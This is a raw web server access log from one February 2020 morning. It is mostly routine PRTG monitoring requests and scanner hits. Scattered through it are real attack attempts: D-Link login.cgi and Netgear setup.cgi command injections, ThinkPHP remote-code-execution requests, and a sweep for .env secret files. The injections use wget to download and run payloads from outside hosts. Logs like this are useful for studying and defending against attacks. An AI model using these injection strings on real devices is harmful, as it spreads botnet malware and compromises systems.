212.91.246.72 - - [21/Feb/2020:08:14:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:08:15:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:08:16:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.152.56.118 - - [21/Feb/2020:08:17:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [21/Feb/2020:08:17:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.177.155.0 - - [21/Feb/2020:08:17:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:08:18:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.103.118.10 - - [21/Feb/2020:08:18:41 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [21/Feb/2020:08:19:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:08:20:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:08:21:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.126.19.28 - - [21/Feb/2020:08:21:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:08:22:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:08:23:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:08:24:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:08:25:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:08:26:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:08:27:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.34 - - [21/Feb/2020:08:28:05 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [21/Feb/2020:08:28:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:08:29:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:08:30:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:08:31:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:08:32:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:08:33:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:08:34:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:08:35:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:08:36:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.138.73.4 - - [21/Feb/2020:08:37:31 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [21/Feb/2020:08:37:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
196.52.43.75 - - [21/Feb/2020:08:37:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3602.2 Safari/537.36"
151.75.100.246 - - [21/Feb/2020:08:37:55 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [21/Feb/2020:08:38:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:08:39:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
105.158.98.64 - - [21/Feb/2020:08:39:34 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [21/Feb/2020:08:40:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
191.209.102.59 - - [21/Feb/2020:08:40:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
171.100.12.210 - - [21/Feb/2020:08:41:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [21/Feb/2020:08:41:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:08:42:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:08:43:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:08:44:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:08:45:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:08:46:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:08:47:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:08:48:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:08:49:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:08:50:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:08:51:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.235.156.200 - - [21/Feb/2020:08:51:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [21/Feb/2020:08:52:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:08:53:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.5.223.154 - - [21/Feb/2020:08:53:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:08:54:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:08:55:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.138.34.118 - - [21/Feb/2020:08:56:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:08:56:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:08:57:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:08:58:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:08:59:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:09:00:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:09:01:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
116.110.89.118 - - [21/Feb/2020:09:02:27 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [21/Feb/2020:09:02:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.173.176.198 - - [21/Feb/2020:09:03:25 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [21/Feb/2020:09:03:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:09:04:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:09:05:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:09:06:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:09:07:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.33 - - [21/Feb/2020:09:07:33 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
201.171.163.6 - - [21/Feb/2020:09:07:54 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
139.162.119.197 - - [21/Feb/2020:09:08:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [21/Feb/2020:09:08:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:09:09:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:09:10:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:09:11:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:09:12:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
223.149.157.189 - - [21/Feb/2020:09:12:32 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 310 "-" "-"
191.209.102.59 - - [21/Feb/2020:09:12:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
74.84.128.125 - - [21/Feb/2020:09:13:12 +0100] "GET /robots.txt HTTP/1.0" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT)"
212.91.246.72 - - [21/Feb/2020:09:13:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:09:14:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:09:15:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:09:16:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:09:17:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:09:18:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:09:19:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:09:20:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:09:21:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:09:22:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:09:23:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.144.123.53 - - [21/Feb/2020:09:23:58 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [21/Feb/2020:09:24:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.234.217.32 - - [21/Feb/2020:09:25:09 +0100] "GET /shared/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:09:25:09 +0100] "GET /~dev/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:09:25:09 +0100] "GET /core/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:09:25:09 +0100] "GET /api/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:09:25:09 +0100] "GET /cp/.env HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:09:25:09 +0100] "GET /admin/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:09:25:09 +0100] "GET /web/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:09:25:09 +0100] "GET /admin-app/.env HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:09:25:10 +0100] "GET /sources/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:09:25:10 +0100] "GET /.env HTTP/1.1" 404 309 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:09:25:10 +0100] "GET /dev/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:09:25:10 +0100] "GET /apps/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:09:25:10 +0100] "GET /system/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:09:25:10 +0100] "GET /local/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:09:25:10 +0100] "GET /rest/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:09:25:10 +0100] "GET /fedex/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:09:25:10 +0100] "GET /private/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:09:25:10 +0100] "GET /back/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:09:25:10 +0100] "GET /docker/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:09:25:10 +0100] "GET /development/.env HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:09:25:10 +0100] "GET /app/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
212.91.246.72 - - [21/Feb/2020:09:25:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.238.93.228 - - [21/Feb/2020:09:25:49 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [21/Feb/2020:09:26:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:09:27:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:09:28:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:09:29:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.124.162.73 - - [21/Feb/2020:09:30:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [21/Feb/2020:09:30:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:09:31:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:09:32:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
200.115.191.164 - - [21/Feb/2020:09:32:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:09:33:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:09:34:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:09:35:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.164.35.72 - - [21/Feb/2020:09:35:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [21/Feb/2020:09:35:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [21/Feb/2020:09:36:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
96.246.121.18 - - [21/Feb/2020:09:36:15 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
121.164.35.72 - - [21/Feb/2020:09:36:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [21/Feb/2020:09:36:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:09:37:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:09:38:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:09:39:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:09:40:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.34 - - [21/Feb/2020:09:40:52 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
190.94.151.230 - - [21/Feb/2020:09:41:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:09:41:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:09:42:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:09:43:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:09:44:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:09:45:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:09:46:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:09:47:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:09:48:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:09:49:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.178.8.198 - - [21/Feb/2020:09:50:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
